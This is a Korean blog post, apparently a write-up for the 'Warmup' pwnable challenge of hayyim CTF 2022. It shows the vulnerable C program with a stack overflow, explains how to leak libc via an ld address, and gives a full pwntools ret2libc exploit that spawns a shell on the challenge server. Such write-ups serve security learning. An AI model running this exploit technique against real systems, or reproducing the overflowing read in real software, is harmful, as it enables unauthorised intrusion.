제리의 블로그

RTL - Warmup - hayyim CTF 2022 Writeup 본문

CTF/pwnable

RTL - Warmup - hayyim CTF 2022 Writeup

j3rrry 2022. 2. 14. 22:11

하임시큐리티 CTF에 pwnable 의 Warmup 을 풀이해본다.

 

// warmup.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void vuln() {
	char buf[0x30];
	memset(buf, 0, 0x30);
	write(1, "> ", 2);
	read(0, buf, 0xc0); // Stack Overflow!!
}

int main(void) {
	init();
	vuln();
	exit(0);
}

vuln 함수를 보면, buf 크기 0x30 만큼 할당한 후 0xc0 만큼 덮어쓰는 것으로 보아

스택 오버플로우임을 알 수 있다.

오버플로우 후 사용가능한 함수(write, read, exit, setvbuf 가 전부)가 부족하기 때문에 libc 에서 찾아야 한다.

 

$ ls -l warmup 
-rwxr--r-- 1 j3rrry j3rrry 5600 Jan 25 13:05 warmup

[*] '/ctf/hyyim2022/Warmup/share/warmup'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

- Tiny Binary -> Gadget을 모으기 힘듦 -> leak libc 필요

- Full RELRO -> GOT Overwrite 불가

- No canary -> Stack Overflow 가능

- NX enabled -> 스택 영역에 쉘코드 실행 불가

- No PIE -> 바이너리 Base Address 고정 (0x400000)

 

vuln 함수의 ret 부분(0x40057D)에 BP 시, buf+0x40 위치에 ld 주소를 확인할 수 있다.

ld 와 libc는 일정 간격으로 할당되기에 ld 주소와 libc의 주소의 거리를 계산할 수 있다.

 

leaked_ld - write = 0x2e1eba

>>> hex(libc.sym['write'])
'0x110210'

libc.address = leaked_ld - (0x2e1eba + 0x110210)
             = leaked_ld - 0x3f20ca

gdb로 ld 주소에서 write 주소까지의 거리를 구하고

libc base에서 write의 주소까지의 거리를 구하면

libc base는 ld 주소에서 0x3f20ca 만큼 뺀 값이 된다.

 

from pwn import *

context.arch = 'amd64'
e = ELF("./warmup")
libc = ELF('./libc-2.27.so')

def main():
    p = remote('141.164.48.191', 10001)
    
    payload = ''
    payload += 'A' * 0x38
    payload += p64(e.plt['write']) # 0x4004a0
    p.sendafter('> ', payload)

    p.recv(0x40)
    leaked_ld = u64(p.recv(8))
    libc.address = leaked_ld - 0x3f20ca
    log.success('libc_base: ' + hex(libc.address))

    r = ROP(libc)
    
    payload = ''
    payload += 'A' * 0x38
    payload += p64(r.rdi.address) # pop rdi; ret; # 0x215bf
    payload += p64(next(libc.search('/bin/sh'))) # 0x1b3e1a
    payload += p64(libc.sym['system']) # 0x4f550
    p.send(payload)
    
    p.interactive()

if __name__ == '__main__':
    main()

'CTF > pwnable' 카테고리의 다른 글

sdhsroot 2018 PWN R00T_SCHool  (0) 2018.12.26
TUCTF 2018 PWN Lisa  (0) 2018.11.27
TUCTF 2018 PWN Timber  (0) 2018.11.27
TUCTF 2018 PWN shella-hard  (0) 2018.11.27
TUCTF 2018 PWN Canary  (0) 2018.11.26
Comments